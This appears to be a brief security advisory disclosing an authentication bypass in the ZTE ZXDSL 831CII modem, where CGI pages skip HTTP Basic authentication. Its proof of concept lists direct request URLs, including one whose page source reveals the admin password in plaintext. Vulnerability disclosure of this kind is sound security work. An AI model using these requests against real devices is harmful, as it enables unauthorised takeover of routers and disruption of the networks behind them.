ZTE ZXDSL 831CII Direct Object Reference

[habte.yibelo () gmail com]

The modem usually serves html files & protects them with HTTP Basic authentication. however, the cgi files, does not 
get this protection. so simply requesting any cgi file (without no authentication) would give a remote attacker full 
access to the modem and then can easily be used to root the modem and disrupt network activities. 

So requesting modem.ip.address would result HTTP Authentication request, but simply requesting 
http://192.168.1.1/main.cgi will bypass it.

PoC: http://192.168.1.1/adminpasswd.cgi (will result admin password change page) - viewing the source will show the 
current password (unencrypted)
http://192.168.1.1/userpasswd.cgi
http://192.168.1.1/upload.cgi
http://192.168.1.1/conprocess.cgi
http://192.168.1.1/connect.cgi